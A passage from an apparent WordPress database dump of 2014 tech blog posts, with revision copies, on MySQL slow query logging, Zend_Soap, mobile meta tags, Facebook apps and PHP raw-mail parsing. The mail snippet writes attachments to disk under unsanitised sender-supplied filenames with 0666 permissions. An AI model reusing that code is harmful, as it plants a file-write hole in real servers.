is one of the less-used logs.\r\n\r\nTo enable slow query log, simply add the following line to MySQL configuration file (my.cnf or my.ini), and then restart the MySQL server:\r\n\r\nlog-slow-queries\r\n\r\nor\r\n\r\nlog-slow-queries = [path to the log file]\r\n\r\nReplace [path to the log file] with actual path to the slow query log file you want the MySQL to write the log to, which is the optional value.\r\n\r\nOr you can start mysqld with with the –log-slow-queries[=file_name] option to enable the slow query log. In both syntaxes, if not log file name is specified, the default name is host_name-slow.log, stored in the MySQL data file directory. If a filename is given, but not as an absolute pathname, the server writes the file in the data directory too.\r\n\r\nAfter enabling slow query log, MySQL will create, capture and log to the log file with all SQL statements that took more than long_query_time seconds to execute, which is by default set to 10 seconds. The time to acquire the initial table locks is not counted as execution time. mysqld writes a statement to the slow query log after it has been executed and after all locks have been released, so log order might be different from execution order.\r\n\r\nYou can then examine all the SQL queries that took longer than the pre-defined number of seconds (10 seconds by default) in the host_name-slow.log, and then take the necessary steps to optimize the SQL statements. The slow query log will tell you about what was time the query completed, how long the query took to run, how long it took to secure its locks, how many rows were sent back as a result, how many rows were examined to determine the result, which database was used, and the actual query itself. But bear in mind that a SQL query contained in the log may have already optimum, but executed slowly due to the system resources been used up by the actual slow statement that need to be fine tuned.','Enable Logging of Slow Queries (Slow Query Log) in MySQL Database - Main requirement for a fast web server','','publish','open','open','','enable-logging-of-slow-queries-slow-query-log-in-mysql-database-main-requirement-for-a-fast-web-server','','','2014-07-21 11:11:11','2014-07-21 11:11:11','',0,'http://localhost/yalavarthitechnologies/blog/?p=167',0,'post','',0),(168,1,'2014-07-21 11:11:11','2014-07-21 11:11:11','<strong>Summary:</strong>\r\n\r\nDescription: One of the main requirements for a fast web server is to has efficient and effective SQL statements or queries that are optimized. Any non-optimal SQL (Structured Query Language) commands or statements that take too long or lengthy time to execute will use up a lot of system resources, causing MySQL database to run slower, and then more and more queries backlogs queuing up, and when connection limit is reached, visitors are been denied or refused connection. In worst case scenario, your web server will go down as well, or continuously underperform. The case is especially true when you are using MyISAM table type which uses table-level locking instead of row-level locking in a high traffic website.\r\n\r\nSometime, a single SQL query may be the cause of all the server’s problems. MySQL has built-in functionality to capture slow query log or identify queries that are not optimal and take a long time to finish, which allows you to log all slow running queries which took over defined number of seconds to execute by MySQL database engine to a file. Slow query log is not activated or on by default MySQL installation, thus it is one of the less-used logs.\r\n\r\nTo enable slow query log, simply add the following line to MySQL configuration file (my.cnf or my.ini), and then restart the MySQL server:\r\n\r\nlog-slow-queries\r\n\r\nor\r\n\r\nlog-slow-queries = [path to the log file]\r\n\r\nReplace [path to the log file] with actual path to the slow query log file you want the MySQL to write the log to, which is the optional value.\r\n\r\nOr you can start mysqld with with the –log-slow-queries[=file_name] option to enable the slow query log. In both syntaxes, if not log file name is specified, the default name is host_name-slow.log, stored in the MySQL data file directory. If a filename is given, but not as an absolute pathname, the server writes the file in the data directory too.\r\n\r\nAfter enabling slow query log, MySQL will create, capture and log to the log file with all SQL statements that took more than long_query_time seconds to execute, which is by default set to 10 seconds. The time to acquire the initial table locks is not counted as execution time. mysqld writes a statement to the slow query log after it has been executed and after all locks have been released, so log order might be different from execution order.\r\n\r\nYou can then examine all the SQL queries that took longer than the pre-defined number of seconds (10 seconds by default) in the host_name-slow.log, and then take the necessary steps to optimize the SQL statements. The slow query log will tell you about what was time the query completed, how long the query took to run, how long it took to secure its locks, how many rows were sent back as a result, how many rows were examined to determine the result, which database was used, and the actual query itself. But bear in mind that a SQL query contained in the log may have already optimum, but executed slowly due to the system resources been used up by the actual slow statement that need to be fine tuned.','Enable Logging of Slow Queries (Slow Query Log) in MySQL Database - Main requirement for a fast web server','','inherit','open','open','','167-revision-v1','','','2014-07-21 11:11:11','2014-07-21 11:11:11','',167,'http://localhost/yalavarthitechnologies/blog/?p=168',0,'revision','',0),(169,1,'2014-07-21 11:13:36','2014-07-21 11:13:36','<strong>Summary:</strong>\r\n\r\nDescription: A web service is a software system designed for interoperable interaction over a network. A web service is defined with a WSDL (Web Services Description Language) document, and other systems interact with the web service using SOAP messages.\r\nA provider entity provides the functionality of a web service with a provider agent and a requester entity uses the web service functionality with a requester agent.\r\n\r\nWeb services implement various technologies, some of which are XML, SOAP, and WSDL.\r\n\r\n-          XML is a standard format for data exchange. Web service requests and responses are sent as XML messages. The elements and attributes that may be specified in an XML document are specified in an XML Schema.\r\n\r\n-          SOAP provides a standard framework for packaging and exchanging XML messages.\r\n\r\n-          WSDL is an XML document in the <i>http://schemas.xmlsoap.org/wsdl/</i> namespace for describing a web service. A WSDL document specifies the operations (methods) provided by a web service and the format of the XML messages.\r\nInstalling the PHP Web Services Extensions\r\n\r\nTo enable the SOAP and XML-RPC extensions add the following extension directives in the php.ini configuration file\r\n\r\nextension=php_xmlrpc.dll\r\n\r\nextension=php_soap.dll\r\n\r\nThe SOAP extension supports subsets of the SOAP 1.1, SOAP 1.2, and WSDL 1.1 specifications.\r\n\r\n&nbsp;\r\n\r\nCreating a SOAP Web Service\r\n\r\nAfter activating the SOAP extension in the PHP configuration file, a SOAP server and a SOAP client may be created using the Zend_Soap class. A SOAP server serves web service requests and a SOAP client invokes methods on the SOAP web service. The Zend_Soap library provides various functions for creating a SOAP server and a SOAP client.\r\n<b>Creating a SOAP Server</b>\r\n\r\n&nbsp;\r\n\r\n<b>1) Create a WSDL document </b>\r\n\r\nThe WSDL document defines the operations that the web service provides. A WSDL is an XML document in the <i>http://schemas.xmlsoap.org/wsdl/</i>namespace. Some of the elements of a WSDL document are:\r\n\r\nDefinitions - Root element of a WSDL document.\r\n\r\nTypes – data types used in web service. It can be simple or complex types.\r\n\r\nMessage – Defines the data being transmitted.\r\n\r\nportType - Defines the set of operations.\r\n\r\nBinding - Defines message format and protocol details for operations.\r\n\r\nPort - Defines an endpoint by associating an address with a binding.\r\n\r\n&nbsp;\r\n\r\n<b>2) Write a class or method to serve the request</b>\r\n\r\nCreate a Soap Server object using the WSDL file as argument.\r\n\r\n$wsdl = \'http://\' .$_SERVER[\'HTTP_HOST\'] . \'/services.wsdl\';\r\n\r\n$server = new Zend_Soap_Server($wsdl);\r\n\r\nAdd the function to the Soap Server object using the  addFunction() method. Define the function1 with all the operations it could do.\r\n\r\n$server-&gt;addFunction(\"function1\");\r\n\r\nHandle a SOAP request. The handle method prepares the Response XML based on output given by function1.\r\n\r\n$server-&gt;handle();\r\n\r\n<b>Creating a SOAP Client</b>\r\n\r\nCreate a SOAP client using the Zend_Soap_Client class. The WSDL document, s<i>ervice.wsdl</i>, is specified as an argument to the constructor. The WSDL document specifies the operations that are available to the SOAP client.\r\n\r\n$client = new Zend_Soap_Client(\"service.wsdl\");\r\n\r\n$result1 = $client-&gt; function1 ($args);\r\n\r\n$args is an array from which Zend automatically prepares the Request XML.\r\n\r\n&nbsp;\r\n\r\n<b>AutoDiscovery</b>\r\n\r\nWSDL can be generated automatically with Zend_Soap_AutoDiscover class. Autodiscovery generates the WSDL file and posts it to the browser.\r\n\r\n&nbsp;\r\n\r\n$autodiscover = new Zend_Soap_AutoDiscover();\r\n\r\n$autodiscover-&gt;setClass(\'My_SoapServer_Class\');\r\n\r\n$autodiscover-&gt;handle();','Build web services using Zend_Soap','','publish','open','open','','build-web-services-using-zend_soap','','','2014-07-21 11:13:36','2014-07-21 11:13:36','',0,'http://localhost/yalavarthitechnologies/blog/?p=169',0,'post','',0),(170,1,'2014-07-21 11:11:57','2014-07-21 11:11:57','<strong>Summary:</strong>\n\nDescription: One of the main requirements for a fast web server is to has efficient and effective SQL statements or queries that are optimized. Any non-optimal SQL (Structured Query Language) commands or statements that take too long or lengthy time to execute will use up a lot of system resources, causing MySQL database to run slower, and then more and more queries backlogs queuing up, and when connection limit is reached, visitors are been denied or refused connection. In worst case scenario, your web server will go down as well, or continuously underperform. The case is especially true when you are using MyISAM table type which uses table-level locking instead of row-level locking in a high traffic website.\n\nSometime, a single SQL query may be the cause of all the server’s problems. MySQL has built-in functionality to capture slow query log or identify queries that are not optimal and take a long time to finish, which allows you to log all slow running queries which took over defined number of seconds to execute by MySQL database engine to a file. Slow query log is not activated or on by default MySQL installation, thus it is one of the less-used logs.\n\nTo enable slow query log, simply add the following line to MySQL configuration file (my.cnf or my.ini), and then restart the MySQL server:\n\nlog-slow-queries\n\nor\n\nlog-slow-queries = [path to the log file]\n\nReplace [path to the log file] with actual path to the slow query log file you want the MySQL to write the log to, which is the optional value.\n\nOr you can start mysqld with with the –log-slow-queries[=file_name] option to enable the slow query log. In both syntaxes, if not log file name is specified, the default name is host_name-slow.log, stored in the MySQL data file directory. If a filename is given, but not as an absolute pathname, the server writes the file in the data directory too.\n\nAfter enabling slow query log, MySQL will create, capture and log to the log file with all SQL statements that took more than long_query_time seconds to execute, which is by default set to 10 seconds. The time to acquire the initial table locks is not counted as execution time. mysqld writes a statement to the slow query log after it has been executed and after all locks have been released, so log order might be different from execution order.\n\nYou can then examine all the SQL queries that took longer than the pre-defined number of seconds (10 seconds by default) in the host_name-slow.log, and then take the necessary steps to optimize the SQL statements. The slow query log will tell you about what was time the query completed, how long the query took to run, how long it took to secure its locks, how many rows were sent back as a result, how many rows were examined to determine the result, which database was used, and the actual query itself. But bear in mind that a SQL query contained in the log may have already optimum, but executed slowly due to the system resources been used up by the actual slow statement that need to be fine tuned.','Enable Logging of Slow Queries (Slow Query Log) in MySQL Database - Main requirement for a fast web server','','inherit','open','open','','167-autosave-v1','','','2014-07-21 11:11:57','2014-07-21 11:11:57','',167,'http://localhost/yalavarthitechnologies/blog/?p=170',0,'revision','',0),(171,1,'2014-07-21 11:13:36','2014-07-21 11:13:36','<strong>Summary:</strong>\r\n\r\nDescription: A web service is a software system designed for interoperable interaction over a network. A web service is defined with a WSDL (Web Services Description Language) document, and other systems interact with the web service using SOAP messages.\r\nA provider entity provides the functionality of a web service with a provider agent and a requester entity uses the web service functionality with a requester agent.\r\n\r\nWeb services implement various technologies, some of which are XML, SOAP, and WSDL.\r\n\r\n-          XML is a standard format for data exchange. Web service requests and responses are sent as XML messages. The elements and attributes that may be specified in an XML document are specified in an XML Schema.\r\n\r\n-          SOAP provides a standard framework for packaging and exchanging XML messages.\r\n\r\n-          WSDL is an XML document in the <i>http://schemas.xmlsoap.org/wsdl/</i> namespace for describing a web service. A WSDL document specifies the operations (methods) provided by a web service and the format of the XML messages.\r\nInstalling the PHP Web Services Extensions\r\n\r\nTo enable the SOAP and XML-RPC extensions add the following extension directives in the php.ini configuration file\r\n\r\nextension=php_xmlrpc.dll\r\n\r\nextension=php_soap.dll\r\n\r\nThe SOAP extension supports subsets of the SOAP 1.1, SOAP 1.2, and WSDL 1.1 specifications.\r\n\r\n&nbsp;\r\n\r\nCreating a SOAP Web Service\r\n\r\nAfter activating the SOAP extension in the PHP configuration file, a SOAP server and a SOAP client may be created using the Zend_Soap class. A SOAP server serves web service requests and a SOAP client invokes methods on the SOAP web service. The Zend_Soap library provides various functions for creating a SOAP server and a SOAP client.\r\n<b>Creating a SOAP Server</b>\r\n\r\n&nbsp;\r\n\r\n<b>1) Create a WSDL document </b>\r\n\r\nThe WSDL document defines the operations that the web service provides. A WSDL is an XML document in the <i>http://schemas.xmlsoap.org/wsdl/</i>namespace. Some of the elements of a WSDL document are:\r\n\r\nDefinitions - Root element of a WSDL document.\r\n\r\nTypes – data types used in web service. It can be simple or complex types.\r\n\r\nMessage – Defines the data being transmitted.\r\n\r\nportType - Defines the set of operations.\r\n\r\nBinding - Defines message format and protocol details for operations.\r\n\r\nPort - Defines an endpoint by associating an address with a binding.\r\n\r\n&nbsp;\r\n\r\n<b>2) Write a class or method to serve the request</b>\r\n\r\nCreate a Soap Server object using the WSDL file as argument.\r\n\r\n$wsdl = \'http://\' .$_SERVER[\'HTTP_HOST\'] . \'/services.wsdl\';\r\n\r\n$server = new Zend_Soap_Server($wsdl);\r\n\r\nAdd the function to the Soap Server object using the  addFunction() method. Define the function1 with all the operations it could do.\r\n\r\n$server-&gt;addFunction(\"function1\");\r\n\r\nHandle a SOAP request. The handle method prepares the Response XML based on output given by function1.\r\n\r\n$server-&gt;handle();\r\n\r\n<b>Creating a SOAP Client</b>\r\n\r\nCreate a SOAP client using the Zend_Soap_Client class. The WSDL document, s<i>ervice.wsdl</i>, is specified as an argument to the constructor. The WSDL document specifies the operations that are available to the SOAP client.\r\n\r\n$client = new Zend_Soap_Client(\"service.wsdl\");\r\n\r\n$result1 = $client-&gt; function1 ($args);\r\n\r\n$args is an array from which Zend automatically prepares the Request XML.\r\n\r\n&nbsp;\r\n\r\n<b>AutoDiscovery</b>\r\n\r\nWSDL can be generated automatically with Zend_Soap_AutoDiscover class. Autodiscovery generates the WSDL file and posts it to the browser.\r\n\r\n&nbsp;\r\n\r\n$autodiscover = new Zend_Soap_AutoDiscover();\r\n\r\n$autodiscover-&gt;setClass(\'My_SoapServer_Class\');\r\n\r\n$autodiscover-&gt;handle();','Build web services using Zend_Soap','','inherit','open','open','','169-revision-v1','','','2014-07-21 11:13:36','2014-07-21 11:13:36','',169,'http://localhost/yalavarthitechnologies/blog/?p=171',0,'revision','',0),(172,1,'2014-07-21 11:15:30','2014-07-21 11:15:30','<strong>Summary:</strong>\r\n\r\nTo build a mobile web application we should avoid several things:\r\n\r\n&nbsp;\r\n\r\n<b>Measures</b> – Don’t give width to the layout. If you define as 300px width in one mobile device, that will cause problem in another devices.\r\n\r\n&nbsp;\r\n\r\n<b>Flash</b> - Most cell phones do not support Flash, so it\'s not a good idea to include flash files.\r\n\r\n&nbsp;\r\n\r\n<b>Tables</b> - Don\'t use tables for layout in a mobile page. Some cell phones do not support tables (Ex: ------). iPhones and other Smart phones support them.\r\n\r\n&nbsp;\r\n\r\n<b>Nested tables</b> - If you want to use a table, make sure not to nest it in another table. These are difficult for desktop browsers to support, so better to use divs.\r\n\r\n&nbsp;\r\n\r\nIn header part in head tag &lt;head&gt; we should give this code\r\n\r\n&nbsp;\r\n\r\n&lt;meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;\" /&gt;\r\n\r\n&lt;meta name=\"apple-mobile-web-app-capable\" content=\"yes\" /&gt;\r\n\r\n&lt;meta names=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" /&gt;\r\n\r\n&lt;meta name=\"viewport\" content=\"minimum-scale=1.0, width=device-width, maximum-scale=0.6667, user-scalable=no\" /&gt;\r\n\r\n&nbsp;\r\n\r\nThis code is to set the mobile resolution','Creating mobile Web applications with HTML 5','','publish','open','open','','creating-mobile-web-applications-with-html-5','','','2014-07-21 11:15:30','2014-07-21 11:15:30','',0,'http://localhost/yalavarthitechnologies/blog/?p=172',0,'post','',0),(173,1,'2014-07-21 11:15:30','2014-07-21 11:15:30','<strong>Summary:</strong>\r\n\r\nTo build a mobile web application we should avoid several things:\r\n\r\n&nbsp;\r\n\r\n<b>Measures</b> – Don’t give width to the layout. If you define as 300px width in one mobile device, that will cause problem in another devices.\r\n\r\n&nbsp;\r\n\r\n<b>Flash</b> - Most cell phones do not support Flash, so it\'s not a good idea to include flash files.\r\n\r\n&nbsp;\r\n\r\n<b>Tables</b> - Don\'t use tables for layout in a mobile page. Some cell phones do not support tables (Ex: ------). iPhones and other Smart phones support them.\r\n\r\n&nbsp;\r\n\r\n<b>Nested tables</b> - If you want to use a table, make sure not to nest it in another table. These are difficult for desktop browsers to support, so better to use divs.\r\n\r\n&nbsp;\r\n\r\nIn header part in head tag &lt;head&gt; we should give this code\r\n\r\n&nbsp;\r\n\r\n&lt;meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;\" /&gt;\r\n\r\n&lt;meta name=\"apple-mobile-web-app-capable\" content=\"yes\" /&gt;\r\n\r\n&lt;meta names=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" /&gt;\r\n\r\n&lt;meta name=\"viewport\" content=\"minimum-scale=1.0, width=device-width, maximum-scale=0.6667, user-scalable=no\" /&gt;\r\n\r\n&nbsp;\r\n\r\nThis code is to set the mobile resolution','Creating mobile Web applications with HTML 5','','inherit','open','open','','172-revision-v1','','','2014-07-21 11:15:30','2014-07-21 11:15:30','',172,'http://localhost/yalavarthitechnologies/blog/?p=173',0,'revision','',0),(174,1,'2014-07-21 11:18:13','2014-07-21 11:18:13','<strong>Summary:</strong>\r\n\r\nMiracle Traffic Bot on Face book\r\n\r\n&nbsp;\r\n\r\nBuild an Targeted audience using Face book, Three Powerful Face Book Traffic Generation Tips much more.\r\n\r\n&nbsp;\r\n\r\n1. Create a Face book fan page and start Optimization For A Successful Face Book  Fan page.\r\n\r\n&nbsp;\r\n\r\nfor more info go through this link shows you detailed video on creating how to create successful fb fan page\r\n\r\n&nbsp;\r\n\r\nhttp://www.tyroneshum.com/how-to-create-fanpage/\r\n\r\n&nbsp;\r\n\r\n2. Network and promote inside Face book Groups\r\n\r\n&nbsp;\r\n\r\n3. Network with top bloggers/ Leaders on Face book','Miracle Traffic Bot on Facebook','','publish','open','open','','miracle-traffic-bot-on-facebook','','','2014-07-21 11:18:13','2014-07-21 11:18:13','',0,'http://localhost/yalavarthitechnologies/blog/?p=174',0,'post','',0),(175,1,'2014-07-21 11:18:13','2014-07-21 11:18:13','<strong>Summary:</strong>\r\n\r\nMiracle Traffic Bot on Face book\r\n\r\n&nbsp;\r\n\r\nBuild an Targeted audience using Face book, Three Powerful Face Book Traffic Generation Tips much more.\r\n\r\n&nbsp;\r\n\r\n1. Create a Face book fan page and start Optimization For A Successful Face Book  Fan page.\r\n\r\n&nbsp;\r\n\r\nfor more info go through this link shows you detailed video on creating how to create successful fb fan page\r\n\r\n&nbsp;\r\n\r\nhttp://www.tyroneshum.com/how-to-create-fanpage/\r\n\r\n&nbsp;\r\n\r\n2. Network and promote inside Face book Groups\r\n\r\n&nbsp;\r\n\r\n3. Network with top bloggers/ Leaders on Face book','Miracle Traffic Bot on Facebook','','inherit','open','open','','174-revision-v1','','','2014-07-21 11:18:13','2014-07-21 11:18:13','',174,'http://localhost/yalavarthitechnologies/blog/?p=175',0,'revision','',0),(176,1,'2014-07-21 11:25:25','2014-07-21 11:25:25','<strong>Summary:</strong>\r\n\r\n<b>STEPS TO CREATE A FACEBOOK APPLICATION</b>\r\n\r\n<b> </b>\r\n\r\n1)  Sign in using Facebook account or create a new Facebook account.\r\n\r\n1 A) Once signed in  go to <a href=\"http://www.facebook.com/developers/\">http://www.facebook.com/developers/</a>\r\n\r\nand click on “Set up a new app” button to creating face book app, and it is asking for your mobile number for verification. After verified account you can create an application.\r\n\r\n&nbsp;\r\n\r\nWe need application name:\r\n\r\n2) Once open the facebook screen for the creating application.\r\n\r\n&nbsp;\r\n\r\nWe need following details:\r\n\r\nDescription:\r\n\r\nContact Email: This is required.\r\n\r\nPrivacy Policy URL: This is optional\r\n\r\nTerms of Service URL: This is optional\r\n\r\n&nbsp;\r\n\r\n3) Integrating with canvas url and link with your server and your facebook application name insert here.\r\n\r\n&nbsp;\r\n\r\n4) After complete the step 2 and step 3 then almost completed then access the details of your facebook application : App Id ,  API Key and facebook canvas URL and facebook application URL.\r\n\r\n&nbsp;\r\n\r\nFinally we created face book application.\r\n\r\n&nbsp;\r\n\r\nOnce we complete the above steps it takes few hours to populate our app in facebook.\r\n\r\nWe can access the app using <a href=\"http://apps.facebook.com/Applicationname\">http://apps.facebook.com/Applicationname</a>.\r\n\r\nA Canvas Page is limited to a maximum of 760 pixel in width.\r\n\r\nFor submitting our application to face book apps directory, our app must have at least 5 total users or 10 monthly active users before you can submit it to the <a href=\"http://www.facebook.com/apps\">App Directory</a>.\r\n\r\n&nbsp;\r\n\r\n<b>Integration with Facebook(PHP Code Intgration):</b>\r\n\r\nUsing Graph API we need to use following code to integrate PHP code with facebook\r\n\r\nThis code should be included in all pages.\r\n\r\nrequire \'facebook.php\';   //This is the graph api file\r\n\r\nrequire \'global_value.php\'; // We get API key and secret\r\n\r\nglobal $Facebook_AppId; // Defined in  global_value.php\r\n\r\nglobal $Facebook_Secret; // Defined in  global_value.php\r\n\r\nglobal $fbme;\r\n\r\nglobal $fbuseruid;\r\n\r\n// Create our Application instance (replace this with your appId and secret).\r\n\r\n$facebook = new Facebook(array(\r\n\r\n\'appId\'  =&gt; $Facebook_AppId,\r\n\r\n\'secret\' =&gt; $Facebook_Secret,\r\n\r\n\'cookie\' =&gt; true,\r\n\r\n));\r\n\r\n//Facebook Authentication part\r\n\r\n$session = $facebook-&gt;getSession();\r\n\r\n// This code is for Authentication permission when user access our application from FB\r\n\r\n$loginUrl = $facebook-&gt;getLoginUrl(\r\n\r\narray(\r\n\r\n\'canvas\'    =&gt; 1,\r\n\r\n\'fbconnect\' =&gt; 0,\r\n\r\n\'req_perms\' =&gt; \'email,publish_stream,status_update,user_birthday,user_location,user_status\'\r\n\r\n)\r\n\r\n);\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>To increase the canvas height of facebook app page we need to keep  following code in each page:</b>\r\n\r\n&lt;div id=\"FB_HiddenIFrameContainer\" style=\"display:none; position:absolute; left:-100px; top:-100px; width:0px; height: 0px;\"&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;script src=\"http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php\" type=\"text/javascript\"&gt;&lt;/script&gt;\r\n\r\n&lt;script type=\"text/javascript\"&gt;\r\n\r\nFB_RequireFeatures([\"CanvasUtil\"], function(){ FB.XdComm.Server.init(\"xd_receiver.htm\");\r\n\r\nFB.CanvasClient.startTimerToSizeToContent(); });\r\n\r\n&lt;/script&gt;','Facebook Application','','publish','open','open','','facebook-application','','','2014-07-21 11:25:25','2014-07-21 11:25:25','',0,'http://localhost/yalavarthitechnologies/blog/?p=176',0,'post','',0),(177,1,'2014-07-21 11:25:25','2014-07-21 11:25:25','<strong>Summary:</strong>\r\n\r\n<b>STEPS TO CREATE A FACEBOOK APPLICATION</b>\r\n\r\n<b> </b>\r\n\r\n1)  Sign in using Facebook account or create a new Facebook account.\r\n\r\n1 A) Once signed in  go to <a href=\"http://www.facebook.com/developers/\">http://www.facebook.com/developers/</a>\r\n\r\nand click on “Set up a new app” button to creating face book app, and it is asking for your mobile number for verification. After verified account you can create an application.\r\n\r\n&nbsp;\r\n\r\nWe need application name:\r\n\r\n2) Once open the facebook screen for the creating application.\r\n\r\n&nbsp;\r\n\r\nWe need following details:\r\n\r\nDescription:\r\n\r\nContact Email: This is required.\r\n\r\nPrivacy Policy URL: This is optional\r\n\r\nTerms of Service URL: This is optional\r\n\r\n&nbsp;\r\n\r\n3) Integrating with canvas url and link with your server and your facebook application name insert here.\r\n\r\n&nbsp;\r\n\r\n4) After complete the step 2 and step 3 then almost completed then access the details of your facebook application : App Id ,  API Key and facebook canvas URL and facebook application URL.\r\n\r\n&nbsp;\r\n\r\nFinally we created face book application.\r\n\r\n&nbsp;\r\n\r\nOnce we complete the above steps it takes few hours to populate our app in facebook.\r\n\r\nWe can access the app using <a href=\"http://apps.facebook.com/Applicationname\">http://apps.facebook.com/Applicationname</a>.\r\n\r\nA Canvas Page is limited to a maximum of 760 pixel in width.\r\n\r\nFor submitting our application to face book apps directory, our app must have at least 5 total users or 10 monthly active users before you can submit it to the <a href=\"http://www.facebook.com/apps\">App Directory</a>.\r\n\r\n&nbsp;\r\n\r\n<b>Integration with Facebook(PHP Code Intgration):</b>\r\n\r\nUsing Graph API we need to use following code to integrate PHP code with facebook\r\n\r\nThis code should be included in all pages.\r\n\r\nrequire \'facebook.php\';   //This is the graph api file\r\n\r\nrequire \'global_value.php\'; // We get API key and secret\r\n\r\nglobal $Facebook_AppId; // Defined in  global_value.php\r\n\r\nglobal $Facebook_Secret; // Defined in  global_value.php\r\n\r\nglobal $fbme;\r\n\r\nglobal $fbuseruid;\r\n\r\n// Create our Application instance (replace this with your appId and secret).\r\n\r\n$facebook = new Facebook(array(\r\n\r\n\'appId\'  =&gt; $Facebook_AppId,\r\n\r\n\'secret\' =&gt; $Facebook_Secret,\r\n\r\n\'cookie\' =&gt; true,\r\n\r\n));\r\n\r\n//Facebook Authentication part\r\n\r\n$session = $facebook-&gt;getSession();\r\n\r\n// This code is for Authentication permission when user access our application from FB\r\n\r\n$loginUrl = $facebook-&gt;getLoginUrl(\r\n\r\narray(\r\n\r\n\'canvas\'    =&gt; 1,\r\n\r\n\'fbconnect\' =&gt; 0,\r\n\r\n\'req_perms\' =&gt; \'email,publish_stream,status_update,user_birthday,user_location,user_status\'\r\n\r\n)\r\n\r\n);\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>To increase the canvas height of facebook app page we need to keep  following code in each page:</b>\r\n\r\n&lt;div id=\"FB_HiddenIFrameContainer\" style=\"display:none; position:absolute; left:-100px; top:-100px; width:0px; height: 0px;\"&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;script src=\"http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php\" type=\"text/javascript\"&gt;&lt;/script&gt;\r\n\r\n&lt;script type=\"text/javascript\"&gt;\r\n\r\nFB_RequireFeatures([\"CanvasUtil\"], function(){ FB.XdComm.Server.init(\"xd_receiver.htm\");\r\n\r\nFB.CanvasClient.startTimerToSizeToContent(); });\r\n\r\n&lt;/script&gt;','Facebook Application','','inherit','open','open','','176-revision-v1','','','2014-07-21 11:25:25','2014-07-21 11:25:25','',176,'http://localhost/yalavarthitechnologies/blog/?p=177',0,'revision','',0),(178,1,'2014-07-21 11:27:32','2014-07-21 11:27:32','<strong>Summary:</strong>\r\n\r\n<b>Reading Raw mail Using PHP</b>.\r\n\r\nInstall the PEAR library mimeDecode in server\r\n<b>Following Code is Used to read the RAW mail </b>\r\n\r\nrequire (\"mimeDecode.php\");\r\n\r\n<b>// Receive the entire email to a string</b>\r\n\r\n$stdin = fopen (\'php://stdin\' , \'r\');\r\n\r\n$whole_mail = \'\';\r\n\r\nwhile (!feof ($stdin))\r\n\r\n{\r\n\r\n$line = trim(fgets($stdin, 4096));\r\n\r\n$whole_mail .= \"\\n\".$line;\r\n\r\n}\r\n\r\nfclose ($stdin);\r\n\r\n<b>// Parse the email</b>\r\n\r\n$md = new Mail_mimeDecode(trim($whole_mail));\r\n\r\n$msg = $md-&gt;decode(array(\'include_bodies\' =&gt; true, \'decode_bodies\' =&gt; true, \'decode_headers\' =&gt; true));\r\n<b>// Recipient  email</b>\r\n\r\nWe can get recipient email address using following line:\r\n\r\n$target_email = $msg-&gt;headers[\'x-original-to\'];\r\n\r\n<b>// Sender email</b>\r\n\r\nWe can get sender email id using :\r\n\r\n$sender_email = $msg-&gt;headers[\'sender\'];\r\n\r\n<b>// Reading Body of mail</b>\r\n\r\n<b> </b>We can read the body of raw mail using following code, it handles all type of headers (gmail, yahoo, hotmail, live, in, aim, aol and Comcast domains )\r\n\r\nif (!empty($msg-&gt;parts)) {\r\n\r\nforeach($msg-&gt;parts as $part) {\r\n\r\nif (@$part-&gt;disposition == \'attachment\') {\r\n\r\n$hasattachments = true;\r\n\r\n} else {\r\n\r\n$body = $part-&gt;body;\r\n\r\n}\r\n\r\n}\r\n\r\n} else {\r\n\r\n$body = $msg-&gt;body;\r\n\r\n}\r\n\r\n<b>// For reading the attachments</b>\r\n\r\n<b> </b>Following code is used to read the attachment and create the attachment file in the server.\r\n\r\nforeach($msg-&gt;parts as $part) {\r\n\r\nif (@$part-&gt;disposition != \'attachment\')\r\n\r\ncontinue;\r\n\r\nif (strpos(@$part-&gt;headers[\'content-disposition\'],\'filename=\')) {\r\n\r\n$filename = substr(stristr($part-&gt;headers[\'content-disposition\'],\'filename=\'),9);\r\n\r\n}\r\n\r\nelse if (strpos(@$part-&gt;headers[\'content-type\'],\'name=\')) {\r\n\r\n$filename = substr(stristr($part-&gt;headers[\'content-type\'],\'name=\'),5);\r\n\r\n}\r\n\r\nelse if (!empty($part-&gt;headers[\'filename\']))\r\n\r\n$filename = @$part-&gt;headers[\'filename\'];\r\n\r\nelse if (!empty($part-&gt;headers[\'name\']))\r\n\r\n$filename = @$part-&gt;headers[\'name\'];\r\n\r\nelse\r\n\r\n$filename = \"Attachment\" . $i++ . \".bin\";\r\n\r\n$filename = trim($filename, \'\\\'\"\');\r\n\r\n$ size = strlen($part-&gt;body);\r\n\r\nfile_put_contents(<b>SERVER PATH</b> . $filename, $part-&gt;body);\r\n\r\nChmod (<b>SERVER PATH</b>. $filename, 0666);\r\n\r\n}','Reading Rawmails using PHP','','publish','open','open','','reading-rawmails-using-php','','','2014-07-21 11:27:32','2014-07-21 11:27:32','',0,'http://localhost/yalavarthitechnologies/blog/?p=178',0,'post','',0),(180,1,'2014-07-21 11:27:32','2014-07-21 11:27:32','<strong>Summary:</strong>\r\n\r\n<b>Reading Raw mail Using PHP</b>.\r\n\r\nInstall the PEAR library mimeDecode in server\r\n<b>Following Code is Used to read the RAW mail </b>\r\n\r\nrequire (\"mimeDecode.php\");\r\n\r\n<b>// Receive the entire email to a string</b>\r\n\r\n$stdin = fopen (\'php://stdin\' , \'r\');\r\n\r\n$whole_mail = \'\';\r\n\r\nwhile (!feof ($stdin))\r\n\r\n{\r\n\r\n$line = trim(fgets($stdin, 4096));\r\n\r\n$whole_mail .= \"\\n\".$line;\r\n\r\n}\r\n\r\nfclose ($stdin);\r\n\r\n<b>// Parse the email</b>\r\n\r\n$md = new Mail_mimeDecode(trim($whole_mail));\r\n\r\n$msg = $md-&gt;decode(array(\'include_bodies\' =&gt; true, \'decode_bodies\' =&gt; true, \'decode_headers\' =&gt; true));\r\n<b>// Recipient  email</b>\r\n\r\nWe can get recipient email address using following line:\r\n\r\n$target_email = $msg-&gt;headers[\'x-original-to\'];\r\n\r\n<b>// Sender email</b>\r\n\r\nWe can 